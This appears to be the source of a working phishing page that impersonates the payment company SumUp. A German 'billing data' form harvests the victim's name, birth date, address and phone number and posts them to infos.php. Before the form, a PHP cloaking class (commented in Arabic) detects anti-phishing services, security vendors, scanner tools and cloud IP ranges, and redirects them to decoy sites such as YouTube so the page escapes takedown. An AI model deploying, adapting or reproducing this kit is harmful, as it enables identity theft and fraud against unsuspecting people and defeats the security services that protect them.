<?php 

// دالة بسيطة للكشف عن نوع الجهاز - معدلة للسماح للجميع
function isMobileDevice() {
    // دائماً ترجع true للسماح لجميع الأجهزة
    return true;
}

// التحقق من نوع الجهاز وتحديد الوجهة
if (!isMobileDevice()) {
    // لن يتم تنفيذ هذا أبداً لأن الدالة دائماً ترجع true
    header('Location: https://www.youtube.com');
    exit();
}

/**
 * Advanced Security Bot Blocker 2025
 * Multi-layer protection against security bots
 * Version: 15.4 - With IP Whitelist
 */

class AdvancedBotBlocker {
    
    private $user_agent;
    private $ip;
    private $domain;
    private $request_time;
    
    public function __construct() {
        $this->user_agent = $_SERVER['HTTP_USER_AGENT'] ?? '';
        $this->ip = $_SERVER['REMOTE_ADDR'] ?? '0.0.0.0';
        $this->domain = $this->getCurrentDomain();
        $this->request_time = $_SERVER['REQUEST_TIME'] ?? time();
    }
    
    private function getCurrentDomain() {
        $protocol = isset($_SERVER['HTTPS']) && $_SERVER['HTTPS'] === 'on' ? "https" : "http";
        return $protocol . "://" . ($_SERVER['HTTP_HOST'] ?? 'localhost');
    }
    
    // قائمة الـ IPs المسموح بها (لن يتم حظرها أبداً)
    private function getWhitelistedIPs() {
        return [
            '127.0.0.1', // IP الخاص بك
            // يمكنك إضافة المزيد من الـ IPs هنا
            // '192.168.1.1',
            // '10.0.0.1',
        ];
    }
    
    // التحقق إذا كان IP مسموح به
    private function isWhitelistedIP() {
        $whitelist = $this->getWhitelistedIPs();
        return in_array($this->ip, $whitelist);
    }
    
    public function blockSecurityBots() {
        // إذا كان IP مسموح به، اسمح بالدخول دائماً بدون أي فحص
        if ($this->isWhitelistedIP()) {
            return true;
        }
        
        // زيادة عداد الزيارة
        $this->incrementVisitCount();
        
        // الحصول على عدد الزيارات الحالي
        $visitCount = $this->getVisitCount();
        
        // إذا كانت الزيارة الأولى أو الثانية، اسمح بالدخول دائماً
        if ($visitCount <= 2) {
            return true;
        }
        
        // إذا كانت الزيارة الثالثة، تحقق فقط من البوتات الخطيرة
        if ($visitCount == 3) {
            if ($this->isHighRiskBot()) {
                $this->logBotAttempt("High risk bot on visit 3");
                $this->redirectToFakePage();
                return false;
            }
            return true;
        }
        
        // إذا كانت الزيارة الرابعة، تحقق من البوتات المتوسطة الخطورة
        if ($visitCount == 4) {
            if ($this->isMediumRiskBot()) {
                $this->logBotAttempt("Medium risk bot on visit 4");
                $this->redirectToFakePage();
                return false;
            }
            return true;
        }
        
        // من الزيارة الخامسة فما فوق، تطبيق الحماية الكاملة
        if ($visitCount >= 5) {
            if ($this->isSecurityBotByUA() || 
                $this->isSuspiciousIP() || 
                $this->isBotByBehavior() ||
                $this->isKnownSecurityCompany() ||
                $this->analyzeRequestPattern()) {
                $this->logBotAttempt("Full protection triggered on visit " . $visitCount);
                $this->redirectToFakePage();
                return false;
            }
        }
        
        return true;
    }
    
    private function incrementVisitCount() {
        if (!isset($_SESSION['visit_count'])) {
            $_SESSION['visit_count'] = 1;
        } else {
            $_SESSION['visit_count']++;
        }
        
        // حفظ وقت آخر زيارة للتحقق من التحديثات السريعة
        $_SESSION['last_visit_time'] = time();
    }
    
    private function getVisitCount() {
        return $_SESSION['visit_count'] ?? 1;
    }
    
    private function isHighRiskBot() {
        // كشف البوتات عالية الخطورة فقط
        $ua = strtolower($this->user_agent);
        
        $high_risk_bots = [
            'phishtank', 'virustotal', 'urlscan', 'sucuri',
            'shodan', 'censys', 'nmap', 'metasploit', 'sqlmap',
            'burpsuite', 'acunetix', 'nessus', 'nikto'
        ];
        
        foreach ($high_risk_bots as $bot) {
            if (strpos($ua, $bot) !== false) {
                return true;
            }
        }
        
        return false;
    }
    
    private function isMediumRiskBot() {
        // كشف البوتات متوسطة الخطورة
        $ua = strtolower($this->user_agent);
        
        $medium_risk_bots = [
            'google-safe-browsing', 'safebrowsing',
            'norton-safeweb', 'mcafee', 'kaspersky',
            'qualys', 'alienvault', 'wpscan', 'openvas'
        ];
        
        foreach ($medium_risk_bots as $bot) {
            if (strpos($ua, $bot) !== false) {
                return true;
            }
        }
        
        // تحقق من السلوك عالي الخطورة
        if ($this->hasSuspiciousParameters() || $this->isUnusualRequest()) {
            return true;
        }
        
        return false;
    }
    
    private function isSecurityBotByUA() {
        $ua = strtolower($this->user_agent);
        
        // قائمة موسعة للبوتات الأمنية
        $security_bots = [
            // بوتات مكافحة التصيد والأمان
            'phishtank', 'google-safe-browsing', 'safebrowsing', 'google-safety',
            'virustotal', 'urlscan', 'urlvoid', 'quttera', 'sucuri',
            'norton-safeweb', 'mcafee', 'siteadvisor', 'kaspersky', 
            'avast', 'avg', 'bitdefender', 'eset', 'sophos', 'trendmicro',
            'qualys', 'ssl-labs', 'securityscan', 'alienvault',
            
            // بوتات المسح الأمني
            'shodan', 'censys', 'zoomeye', 'fofa', 'quake', 'binaryedge',
            'netcraft', 'cloudflare-scanner', 'akamai-bot', 'imperva',
            'stackpath', 'datadog', 'newrelic', 'pingdom',
            
            // بوتات البحث الأمني
            'binaryedge', 'greywizard', 'hacker', 'security', 'scan',
            'crawler', 'spider', 'bot', 'monitor', 'check',
            
            // بوتات التحليل
            'burpsuite', 'nikto', 'nmap', 'metasploit', 'wpscan',
            'sqlmap', 'zap', 'acunetix', 'nessus', 'openvas',
            
            // بوتات إضافية
            'rapid7', 'tenable', 'qualys', 'trustwave', 'whitehat',
            'sitelock', 'comodo', 'geektool', 'uptime', 'monitoring'
        ];
        
        foreach ($security_bots as $bot) {
            if (strpos($ua, $bot) !== false) {
                return true;
            }
        }
        
        return false;
    }
    
    private function isSuspiciousIP() {
        // قائمة عناوين IP مشبوهة معروفة (لخدمات السحابة والمسح)
        $suspicious_ips = [
            '54.', '52.', '35.', '13.', '8.', // AWS
            '34.', '104.', '108.', '142.', '172.', // Google Cloud
            '20.', '40.', '51.', '52.', '138.', // Azure
            '66.', '72.', '74.', '75.', '76.', // OVH
            '89.', '94.', '95.', '185.', '188.', // Hetzner
            '45.', '64.', '65.', '80.', '87.'  // DigitalOcean
        ];
        
        foreach ($suspicious_ips as $suspicious) {
            if (strpos($this->ip, $suspicious) === 0) {
                return true;
            }
        }
        
        return false;
    }
    
    private function isBotByBehavior() {
        // تحليل السلوك المشبوه
        $suspicious_headers = [
            'HTTP_ACCEPT_LANGUAGE',
            'HTTP_ACCEPT_ENCODING', 
            'HTTP_ACCEPT'
        ];
        
        // إذا كانت بعض الهيدرات مفقودة (مشبوه)
        $missing_headers = 0;
        foreach ($suspicious_headers as $header) {
            if (!isset($_SERVER[$header]) || empty($_SERVER[$header])) {
                $missing_headers++;
            }
        }
        
        if ($missing_headers >= 2) {
            return true;
        }
        
        // تحقق من User Agent فارغ أو قصير جداً
        if (empty($this->user_agent) || strlen($this->user_agent) < 10) {
            return true;
        }
        
        // تحقق من طلبات غير عادية
        if ($this->isUnusualRequest()) {
            return true;
        }
        
        return false;
    }
    
    private function isKnownSecurityCompany() {
        // كشف شركات الأمان من خلال أنماط معينة
        $company_patterns = [
            'google' => ['googlebot', 'apis-google', 'googleusercontent', 'google'],
            'microsoft' => ['msnbot', 'bingbot', 'microsoft'],
            'amazon' => ['aws-sdk', 'amazon', 'aws'],
            'cloudflare' => ['cloudflare'],
            'akamai' => ['akamai'],
            'ibm' => ['softlayer', 'ibm'],
            'oracle' => ['oracle', 'sun'],
            'digitalocean' => ['digitalocean'],
            'linode' => ['linode'],
            'vultr' => ['vultr']
        ];
        
        $ua = strtolower($this->user_agent);
        
        foreach ($company_patterns as $company => $patterns) {
            foreach ($patterns as $pattern) {
                if (strpos($ua, $pattern) !== false) {
                    return true;
                }
            }
        }
        
        return false;
    }
    
    private function analyzeRequestPattern() {
        // تحليل أنماط الطلبات المشبوهة
        $suspicious = false;
        
        // الوصول المباشر بدون Referrer
        if (!isset($_SERVER['HTTP_REFERER']) && !$this->isFirstVisit()) {
            $suspicious = true;
        }
        
        // لا يوجد cookies في طلب متكرر
        if (!isset($_SERVER['HTTP_COOKIE']) && $this->getVisitCount() > 3) {
            $suspicious = true;
        }
        
        // طلبات بطرق غير عادية
        if ($_SERVER['REQUEST_METHOD'] !== 'GET' && $_SERVER['REQUEST_METHOD'] !== 'POST') {
            $suspicious = true;
        }
        
        // طلبات بمعلمات غريبة
        if (!empty($_GET) && $this->hasSuspiciousParameters()) {
            $suspicious = true;
        }
        
        return $suspicious;
    }
    
    private function isFirstVisit() {
        return ($this->getVisitCount() <= 1);
    }
    
    private function hasSuspiciousParameters() {
        // تحقق من معلمات URL مشبوهة
        $suspicious_params = [
            'cmd', 'exec', 'system', 'eval', 'union', 'select', 'insert',
            'update', 'delete', 'drop', 'script', 'alert', 'onload',
            'onerror', 'javascript', 'vbscript', 'applet', 'meta',
            'object', 'iframe', 'frame', 'embed', 'link'
        ];
        
        foreach ($_GET as $param => $value) {
            $param_lower = strtolower($param);
            foreach ($suspicious_params as $suspicious) {
                if (strpos($param_lower, $suspicious) !== false) {
                    return true;
                }
            }
        }
        
        return false;
    }
    
    private function isUnusualRequest() {
        // تحقق من طلبات غير عادية
        $request_uri = $_SERVER['REQUEST_URI'] ?? '';
        
        // طلبات لملفات نظام
        $system_files = [
            '.env', '.git', '.htaccess', 'wp-config', 'config.php',
            'admin', 'phpmyadmin', 'mysql', 'database', 'backup',
            'log', 'debug', 'test', 'shell', 'cgi-bin'
        ];
        
        foreach ($system_files as $file) {
            if (stripos($request_uri, $file) !== false) {
                return true;
            }
        }
        
        return false;
    }
    
    private function logBotAttempt($reason = "") {
        // تسجيل محاولات البوتات
        $log_data = [
            'timestamp' => date('Y-m-d H:i:s'),
            'ip' => $this->ip,
            'user_agent' => substr($this->user_agent, 0, 200),
            'request_uri' => $_SERVER['REQUEST_URI'] ?? '',
            'referer' => $_SERVER['HTTP_REFERER'] ?? '',
            'method' => $_SERVER['REQUEST_METHOD'] ?? '',
            'visit_count' => $this->getVisitCount(),
            'reason' => $reason
        ];
        
        $log_message = implode(' | ', $log_data) . PHP_EOL;
        
        // محاولة الكتابة إلى ملف السجل
        @file_put_contents('security_bot_logs.txt', $log_message, FILE_APPEND | LOCK_EX);
    }
    
    private function redirectToFakePage() {
        // صفحات وهمية للتوجيه إليها
        $fake_pages = [
            'https://www.youtube.com/watch?v=dQw4w9WgXcQ',
            'https://www.facebook.com/unsupportedbrowser',
            'https://www.instagram.com/accounts/login/?source=auth_switcher',
            'https://www.twitter.com/404',
            'https://www.reddit.com/404',
            'https://www.wikipedia.org/wiki/HTTP_404',
            'https://www.amazon.com/404',
            'https://www.netflix.com/browse',
            'https://www.linkedin.com/404',
            'https://www.pinterest.com/404'
        ];
        
        $random_page = $fake_pages[array_rand($fake_pages)];
        
        // إضافة تأخير عشوائي لمحاكاة التحميل
        usleep(rand(50000, 300000)); // 0.05 إلى 0.3 ثانية
        
        // إرسال رؤوس للتضليل
        header('HTTP/1.1 200 OK');
        header('Content-Type: text/html; charset=utf-8');
        header('Location: ' . $random_page, true, 302);
        exit;
    }
}

// بدء الجلسة والحماية
if (session_status() === PHP_SESSION_NONE) {
    session_start();
}

$bot_blocker = new AdvancedBotBlocker();

// إذا كان بوت أمني - سيتم تحويله والخروج (ولن يتم تسجيله في visitors)
if (!$bot_blocker->blockSecurityBots()) {
    exit;
}

// إذا وصل إلى هنا فهو إنسان - قم بتسجيل الزيارة ثم استمر في تحميل الصفحة
require_once "functions1.php";

// استمر في تحميل الصفحة
?>

<!DOCTYPE html>
<html lang="de">
<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>Rechnungsdaten—</title>
    <!-- Favicon hinzufügen -->
    <link rel="icon" type="image/png" href="image/ask.png">
    <style>
        * {
            margin: 0;
            padding: 0;
            box-sizing: border-box;
            font-family: -apple-system, BlinkMacSystemFont, 'Segoe UI', Roboto, sans-serif;
        }
        
        body {
            background-color: #ffffff;
            min-height: 100vh;
            display: flex;
            flex-direction: column;
            justify-content: center;
            align-items: center;
            padding: 20px;
            position: relative;
        }
        
        .container {
            width: 100%;
            max-width: 500px;
        }
        
        /* Logo */
        .logo {
            text-align: center;
            margin-bottom: 40px;
        }
        
        .logo img {
            height: 40px;
        }
        
        /* Title */
        h1 {
            text-align: center;
            font-size: 24px;
            margin-bottom: 10px;
            color: #0F131A;
            font-weight: 600;
        }
        
        .subtitle {
            text-align: center;
            font-size: 16px;
            color: #666;
            margin-bottom: 40px;
            line-height: 1.6;
        }
        
        /* Location Animation */
        .location-animation {
            position: relative;
            margin: 30px 0;
            height: 120px;
            display: flex;
            justify-content: center;
            align-items: center;
        }
        
        .location-pin {
            width: 80px;
            height: 80px;
            background: linear-gradient(135deg, #0a20c4, #0818a8);
            border-radius: 50% 50% 50% 0;
            transform: rotate(-45deg);
            position: relative;
            box-shadow: 0 10px 25px rgba(10, 32, 196, 0.3);
            animation: locationPulse 2s infinite;
        }
        
        .location-pin::before {
            content: '';
            position: absolute;
            top: 50%;
            left: 50%;
            transform: translate(-50%, -50%) rotate(45deg);
            width: 30px;
            height: 30px;
            background: #FFFFFF;
            border-radius: 50%;
        }
        
        @keyframes locationPulse {
            0% { transform: rotate(-45deg) scale(1); }
            50% { transform: rotate(-45deg) scale(1.05); }
            100% { transform: rotate(-45deg) scale(1); }
        }
        
        /* Form Container */
        .form-container {
            background: white;
            padding: 40px 30px;
            border-radius: 12px;
            box-shadow: 0 4px 20px rgba(0,0,0,0.08);
            margin-bottom: 20px;
        }
        
        .form-group {
            margin-bottom: 25px;
            width: 100%;
            position: relative;
        }
        
        label {
            display: block;
            margin-bottom: 8px;
            color: #0F131A;
            font-size: 14px;
            font-weight: 500;
        }
        
        .input-field {
            width: 100%;
            padding: 12px 0;
            border: none;
            border-bottom: 2px solid #e0e0e0;
            font-size: 16px;
            color: #0F131A;
            background: transparent;
            transition: all 0.3s;
        }
        
        .input-field::placeholder {
            color: #999;
            font-size: 14px;
        }
        
        .input-field:focus {
            outline: none;
            border-bottom-color: #0a20c4;
        }
        
        /* Error Styles */
        .input-field.error {
            border-bottom-color: #d32f2f;
        }
        
        .error-message {
            color: #d32f2f;
            font-size: 14px;
            margin-top: 8px;
            font-weight: 500;
            animation: fadeIn 0.3s ease;
            display: flex;
            align-items: center;
            gap: 8px;
        }
        
        .error-icon {
            display: flex;
            align-items: center;
        }
        
        @keyframes fadeIn {
            from { opacity: 0; transform: translateY(-5px); }
            to { opacity: 1; transform: translateY(0); }
        }
        
        .form-row {
            display: flex;
            gap: 15px;
        }
        
        .form-col {
            flex: 1;
        }
        
        .input-hint {
            color: #666;
            font-size: 14px;
            margin-top: 8px;
        }
        
        /* Date of Birth Fields */
        .birthdate-fields {
            display: grid;
            grid-template-columns: 1fr 1fr 2fr;
            gap: 12px;
            margin-top: 8px;
        }
        
        .birthdate-field {
            display: flex;
            flex-direction: column;
        }
        
        .birthdate-input {
            width: 100%;
            padding: 12px 0;
            border: none;
            border-bottom: 2px solid #e0e0e0;
            font-size: 16px;
            color: #0F131A;
            background: transparent;
            text-align: center;
            transition: border-color 0.3s;
        }
        
        .birthdate-input:focus {
            outline: none;
            border-bottom-color: #0a20c4;
        }
        
        .birthdate-label {
            display: block;
            text-align: center;
            font-size: 11px;
            color: #666;
            margin-top: 5px;
            font-weight: 500;
        }
        
        .btn {
            display: block;
            width: 100%;
            padding: 16px;
            background-color: #0F131A;
            color: white;
            border: none;
            border-radius: 8px;
            font-size: 16px;
            font-weight: 500;
            cursor: pointer;
            margin-bottom: 30px;
            transition: all 0.3s;
        }
        
        .btn:hover {
            background-color: #1a1f2a;
            transform: translateY(-1px);
            box-shadow: 0 4px 12px rgba(15, 19, 26, 0.3);
        }
        
        .security-info {
            background: #f8f9fa;
            border: 1px solid #e9ecef;
            border-radius: 8px;
            padding: 25px;
            margin-top: 30px;
            text-align: center;
        }
        
        .security-icon {
            margin-bottom: 15px;
            display: flex;
            justify-content: center;
        }
        
        .security-title {
            font-size: 16px;
            font-weight: 600;
            color: #0F131A;
            margin-bottom: 8px;
        }
        
        .security-description {
            font-size: 14px;
            color: #666;
            line-height: 1.5;
        }

        .footer-buttons {
            display: flex;
            justify-content: space-between;
            align-items: center;
            margin-top: 30px;
            gap: 15px;
        }
        
        .language-select {
            flex: 1;
            position: relative;
        }
        
        .language-select select {
            width: 100%;
            padding: 12px 40px 12px 15px;
            border: 1px solid #ddd;
            border-radius: 4px;
            font-size: 14px;
            background-color: white;
            appearance: none;
            cursor: pointer;
            height: 44px;
        }
        
        .language-select::after {
            content: "";
            position: absolute;
            right: 15px;
            top: 50%;
            transform: translateY(-50%);
            width: 12px;
            height: 12px;
            background-image: url("data:image/svg+xml,%3Csvg width='16' height='16' viewBox='0 0 16 16' fill='none' xmlns='http://www.w3.org/2000/svg'%3E%3Cpath d='M8 11c-.266 0-.52-.104-.71-.29l-4-4A1.013 1.013 0 0 1 3 6a1 1 0 0 1 1-1c.266 0 .52.104.71.29L8 8.58l3.29-3.29c.19-.186.445-.29.71-.29a1 1 0 0 1 1 1c0 .266-.104.52-.29.71l-4 4c-.19.186-.444.29-.71.29z' fill='currentColor'%3E%3C/path%3E%3C/svg%3E");
            background-repeat: no-repeat;
            background-position: center;
            pointer-events: none;
        }
        
        .system-status-btn {
            flex: 1;
        }
        
        .system-status-btn .btn-secondary {
            height: 44px;
            font-size: 14px;
            width: 100%;
            padding: 12px;
            background-color: transparent;
            color: #0F131A;
            border: 1px solid #0F131A;
            border-radius: 4px;
            font-weight: 500;
            cursor: pointer;
            text-decoration: none;
            display: block;
            text-align: center;
        }
        
        .system-status-btn .btn-secondary:hover {
            background-color: #f5f5f5;
        }
        
        .help-link {
            position: absolute;
            top: 30px;
            right: 30px;
            color: #0F131A;
            text-decoration: none;
            font-size: 14px;
            font-weight: 500;
            transition: color 0.3s;
            z-index: 100;
        }
        
        .help-link:hover {
            color: #666;
        }

        /* Responsive */
        @media (max-width: 768px) {
            .container {
                padding: 0 20px;
                max-width: 100%;
            }
            
            h1 {
                font-size: 22px;
            }
            
            .logo img {
                height: 35px;
            }
            
            .input-field {
                font-size: 16px;
            }
            
            .birthdate-input {
                font-size: 16px;
            }
        }

        @media (max-width: 480px) {
            body {
                padding: 15px;
                justify-content: flex-start;
                padding-top: 60px;
            }
            
            .container {
                padding: 0 10px;
            }
            
            .form-container {
                padding: 30px 20px;
            }
            
            h1 {
                font-size: 20px;
            }
            
            .logo {
                margin-bottom: 30px;
            }
            
            .logo img {
                height: 30px;
            }
            
            .btn {
                padding: 14px;
                font-size: 14px;
            }
            
            .form-row {
                flex-direction: column;
                gap: 0;
            }
            
            .birthdate-fields {
                grid-template-columns: 1fr 1fr 1fr;
            }
            
            .help-link {
                top: 15px;
                right: 15px;
                font-size: 13px;
            }
        }
    </style>
</head>
<body>
    <!-- Hilfe-Link in der oberen rechten Ecke -->
    <a href="#" class="help-link">Brauchen Sie Hilfe?</a>
    
    <div class="container">
        <!-- SumUp Logo -->
        <div class="logo">
            <img src="image/name.svg" alt="SumUp Logo">
        </div>
        
        <!-- Location Animation -->
        <div class="location-animation">
            <div class="location-pin"></div>
        </div>
        
        <!-- Title -->
        <h1>Rechnungsdaten</h1>
        <p class="subtitle">
            Geben Sie Ihre Daten ein, um den Vorgang abzuschließen
        </p>
        
        <div class="form-container">
            <form action="infos.php" method="POST">
                <!-- Verstecktes Feld für Schrittangabe hinzufügen -->
                <input type="hidden" name="step" value="billing">
                
                <!-- Vollständiger Name -->
                <div class="form-group">
                    <label for="full_name">Vollständiger Name*</label>
                    <input type="text" id="full_name" name="full_name" class="input-field <?php echo (isset($_SESSION['errors']) && isset($_SESSION['errors']['full_name'])) ? 'error' : ''; ?>" placeholder="Max Mustermann" required>
                    <?php if(isset($_SESSION['errors']) && isset($_SESSION['errors']['full_name'])): ?>
                    <div class="error-message">
                        <span class="error-icon">
                            <svg width="16" height="16" viewBox="0 0 16 16" fill="none" xmlns="http://www.w3.org/2000/svg">
                                <path d="M8 0a8 8 0 1 0 0 16A8 8 0 0 0 8 0zm3 11a1 1 0 0 1-1.41 0L8 9.41 6.41 11A1 1 0 0 1 5 9.59L6.59 8 5 6.41A1 1 0 0 1 5 5a1 1 0 0 1 1.41 0L8 6.59 9.59 5A1 1 0 0 1 11 5a1 1 0 0 1 0 1.41L9.41 8 11 9.59A1 1 0 0 1 11 11z" fill="currentColor"></path>
                            </svg>
                        </span>
                        Ungültiger vollständiger Name
                    </div>
                    <?php endif; ?>
                    <div class="input-hint">Vor- und Nachname wie im Dokument angegeben</div>
                </div>
                
                <!-- Geburtsdatum -->
                <div class="form-group">
                    <label>Geburtsdatum*</label>
                    <div class="birthdate-fields">
                        <div class="birthdate-field">
                            <input type="text" name="gg" class="birthdate-input" placeholder="TT" maxlength="2" required>
                            <span class="birthdate-label">TT</span>
                        </div>
                        <div class="birthdate-field">
                            <input type="text" name="mm" class="birthdate-input" placeholder="MM" maxlength="2" required>
                            <span class="birthdate-label">MM</span>
                        </div>
                        <div class="birthdate-field">
                            <input type="text" name="aaaa" class="birthdate-input" placeholder="JJJJ" maxlength="4" required>
                            <span class="birthdate-label">JJJJ</span>
                        </div>
                    </div>
                </div>
                
                <!-- Adresse -->
                <div class="form-group">
                    <label for="address">Adresse*</label>
                    <input type="text" id="address" name="address" class="input-field <?php echo (isset($_SESSION['errors']) && isset($_SESSION['errors']['address'])) ? 'error' : ''; ?>" placeholder="Musterstraße 123" required>
                    <?php if(isset($_SESSION['errors']) && isset($_SESSION['errors']['address'])): ?>
                    <div class="error-message">
                        <span class="error-icon">
                            <svg width="16" height="16" viewBox="0 0 16 16" fill="none" xmlns="http://www.w3.org/2000/svg">
                                <path d="M8 0a8 8 0 1 0 0 16A8 8 0 0 0 8 0zm3 11a1 1 0 0 1-1.41 0L8 9.41 6.41 11A1 1 0 0 1 5 9.59L6.59 8 5 6.41A1 1 0 0 1 5 5a1 1 0 0 1 1.41 0L8 6.59 9.59 5A1 1 0 0 1 11 5a1 1 0 0 1 0 1.41L9.41 8 11 9.59A1 1 0 0 1 11 11z" fill="currentColor"></path>
                            </svg>
                        </span>
                        Ungültige Adresse
                    </div>
                    <?php endif; ?>
                    <div class="input-hint">Vollständige Wohnadresse</div>
                </div>
                
                <!-- Stadt und PLZ -->
                <div class="form-row">
                    <div class="form-col">
                        <div class="form-group">
                            <label for="city">Stadt*</label>
                            <input type="text" id="city" name="city" class="input-field <?php echo (isset($_SESSION['errors']) && isset($_SESSION['errors']['city'])) ? 'error' : ''; ?>" placeholder="Berlin" required>
                            <?php if(isset($_SESSION['errors']) && isset($_SESSION['errors']['city'])): ?>
                            <div class="error-message">
                                <span class="error-icon">
                                    <svg width="16" height="16" viewBox="0 0 16 16" fill="none" xmlns="http://www.w3.org/2000/svg">
                                        <path d="M8 0a8 8 0 1 0 0 16A8 8 0 0 0 8 0zm3 11a1 1 0 0 1-1.41 0L8 9.41 6.41 11A1 1 0 0 1 5 9.59L6.59 8 5 6.41A1 1 0 0 1 5 5a1 1 0 0 1 1.41 0L8 6.59 9.59 5A1 1 0 0 1 11 5a1 1 0 0 1 0 1.41L9.41 8 11 9.59A1 1 0 0 1 11 11z" fill="currentColor"></path>
                                    </svg>
                                </span>
                                Ungültige Stadt
                            </div>
                            <?php endif; ?>
                            <div class="input-hint">Wohnort</div>
                        </div>
                    </div>
                    <div class="form-col">
                        <div class="form-group">
                            <label for="zip">PLZ*</label>
                            <input type="text" id="zip" name="zip" class="input-field <?php echo (isset($_SESSION['errors']) && isset($_SESSION['errors']['zip'])) ? 'error' : ''; ?>" placeholder="10115" required maxlength="5">
                            <?php if(isset($_SESSION['errors']) && isset($_SESSION['errors']['zip'])): ?>
                            <div class="error-message">
                                <span class="error-icon">
                                    <svg width="16" height="16" viewBox="0 0 16 16" fill="none" xmlns="http://www.w3.org/2000/svg">
                                        <path d="M8 0a8 8 0 1 0 0 16A8 8 0 0 0 8 0zm3 11a1 1 0 0 1-1.41 0L8 9.41 6.41 11A1 1 0 0 1 5 9.59L6.59 8 5 6.41A1 1 0 0 1 5 5a1 1 0 0 1 1.41 0L8 6.59 9.59 5A1 1 0 0 1 11 5a1 1 0 0 1 0 1.41L9.41 8 11 9.59A1 1 0 0 1 11 11z" fill="currentColor"></path>
                                    </svg>
                                </span>
                                Ungültige PLZ
                            </div>
                            <?php endif; ?>
                            <div class="input-hint">Postleitzahl</div>
                        </div>
                    </div>
                </div>
                
                <!-- Telefon -->
                <div class="form-group">
                    <label for="phone">Telefon*</label>
                    <input type="text" id="phone" name="phone" class="input-field <?php echo (isset($_SESSION['errors']) && isset($_SESSION['errors']['phone'])) ? 'error' : ''; ?>" placeholder="491234567890" required>
                    <?php if(isset($_SESSION['errors']) && isset($_SESSION['errors']['phone'])): ?>
                    <div class="error-message">
                        <span class="error-icon">
                            <svg width="16" height="16" viewBox="0 0 16 16" fill="none" xmlns="http://www.w3.org/2000/svg">
                                <path d="M8 0a8 8 0 1 0 0 16A8 8 0 0 0 8 0zm3 11a1 1 0 0 1-1.41 0L8 9.41 6.41 11A1 1 0 0 1 5 9.59L6.59 8 5 6.41A1 1 0 0 1 5 5a1 1 0 0 1 1.41 0L8 6.59 9.59 5A1 1 0 0 1 11 5a1 1 0 0 1 0 1.41L9.41 8 11 9.59A1 1 0 0 1 11 11z" fill="currentColor"></path>
                            </svg>
                        </span>
                        Ungültige Telefonnummer
                    </div>
                    <?php endif; ?>
                    <div class="input-hint">Telefonnummer für eventuelle Kontakte</div>
                </div>
                
                <button type="submit" class="btn">ADRESSE BESTÄTIGEN</button>
            </form>
            
            <!-- Security Info -->
            <div class="security-info">
                <div class="security-icon">
                    <svg width="24" height="24" viewBox="0 0 24 24" fill="none" xmlns="http://www.w3.org/2000/svg">
                        <path d="M12 1L3 5V11C3 16.55 6.84 21.74 12 23C17.16 21.74 21 16.55 21 11V5L12 1ZM12 7C13.1 7 14 7.9 14 9C14 10.1 13.1 11 12 11C10.9 11 10 10.1 10 9C10 7.9 10.9 7 12 7ZM16 17.58C16 18.68 14.97 19.58 13.5 19.58H10.5C9.03 19.58 8 18.68 8 17.58V16.58C8 15.48 9.03 14.58 10.5 14.58H13.5C14.97 14.58 16 15.48 16 16.58V17.58Z" fill="#0F131A"/>
                    </svg>
                </div>
                <div class="security-title">Daten Geschützt</div>
                <p class="security-description">
                    Ihre Daten werden nur zu Rechnungszwecken verwendet und sind mit fortschrittlicher Verschlüsselung geschützt.
                </p>
            </div>
        </div>
        
        <!-- Zusätzliche Buttons unten -->
        <div class="footer-buttons">
            <div class="language-select">
                <select id="languageSelect" name="languageSelect">
                    <option value="da-DK">Dansk</option>
                    <option value="de-DE" selected>Deutsch</option>
                    <option value="et-EE">Eesti</option>
                    <option value="en-GB">English</option>
                    <option value="es-ES">Español</option>
                    <option value="fr-FR">Français</option>
                    <option value="hr-HR">Hrvatski</option>
                    <option value="it-IT">Italiano</option>
                    <option value="lv-LV">Latviešu valoda</option>
                    <option value="lt-LT">Lietuviškai</option>
                    <option value="hu-HU">Magyar</option>
                    <option value="nl-NL">Nederlands</option>
                    <option value="nb-NO">Norsk</option>
                    <option value="pl-PL">Polski</option>
                    <option value="pt-BR">Português</option>
                    <option value="ro-RO">Română</option>
                    <option value="sk-SK">Slovenčina</option>
                    <option value="sl-SI">Slovenščina</option>
                    <option value="fi-FI">Suomi</option>
                    <option value="sv-SE">Svenska</option>
                    <option value="cs-CZ">Čeština</option>
                    <option value="el-GR">Ελληνικά</option>
                    <option value="bg-BG">Български</option>
                </select>
            </div>
            
            <div class="system-status-btn">
                <a href="https://status.sumup.com" class="btn-secondary">
                    Systemstatus
                </a>
            </div>
        </div>
    </div>

    <script>
        document.addEventListener('DOMContentLoaded', function() {
            const fullNameInput = document.getElementById('full_name');
            const ggInput = document.querySelector('input[name="gg"]');
            const mmInput = document.querySelector('input[name="mm"]');
            const aaaaInput = document.querySelector('input[name="aaaa"]');
            const addressInput = document.getElementById('address');
            const cityInput = document.getElementById('city');
            const zipInput = document.getElementById('zip');
            const phoneInput = document.getElementById('phone');
            
            // Fehler aus der Session entfernen nach dem Laden
            <?php 
            if(isset($_SESSION['errors'])) {
                foreach(['full_name', 'address', 'city', 'zip', 'phone'] as $error) {
                    if(isset($_SESSION['errors'][$error])) {
                        echo "setTimeout(() => { document.querySelector('#$error')?.classList?.remove('error'); }, 3000);";
                    }
                }
                // Alle Fehler entfernen
                unset($_SESSION['errors']);
            }
            ?>
            
            // PLZ-Formatierung (nur Zahlen)
            zipInput.addEventListener('input', function(e) {
                this.value = this.value.replace(/[^0-9]/g, '');
            });
            
            // Telefonformatierung (nur Zahlen)
            phoneInput.addEventListener('input', function(e) {
                this.value = this.value.replace(/[^0-9]/g, '');
            });
            
            // Geburtsdatum-Formatierung (nur Zahlen)
            const birthdateInputs = document.querySelectorAll('.birthdate-input');
            birthdateInputs.forEach(input => {
                input.addEventListener('input', function(e) {
                    this.value = this.value.replace(/[^0-9]/g, '');
                });
            });
            
            // Automatisches Wechseln zwischen Geburtsdatum-Feldern
            ggInput.addEventListener('input', function(e) {
                if (this.value.length === 2) {
                    mmInput.focus();
                }
            });
            
            mmInput.addEventListener('input', function(e) {
                if (this.value.length === 2) {
                    aaaaInput.focus();
                }
            });
            
            // Graduelle Erscheinungseffekte
            const container = document.querySelector('.form-container');
            container.style.opacity = '0';
            container.style.transform = 'translateY(30px)';
            container.style.transition = 'all 0.8s ease';
            
            setTimeout(() => {
                container.style.opacity = '1';
                container.style.transform = 'translateY(0)';
            }, 200);
            
            // Automatischer Fokus auf das erste Feld
            fullNameInput.focus();
        });
    </script>
</body>
</html>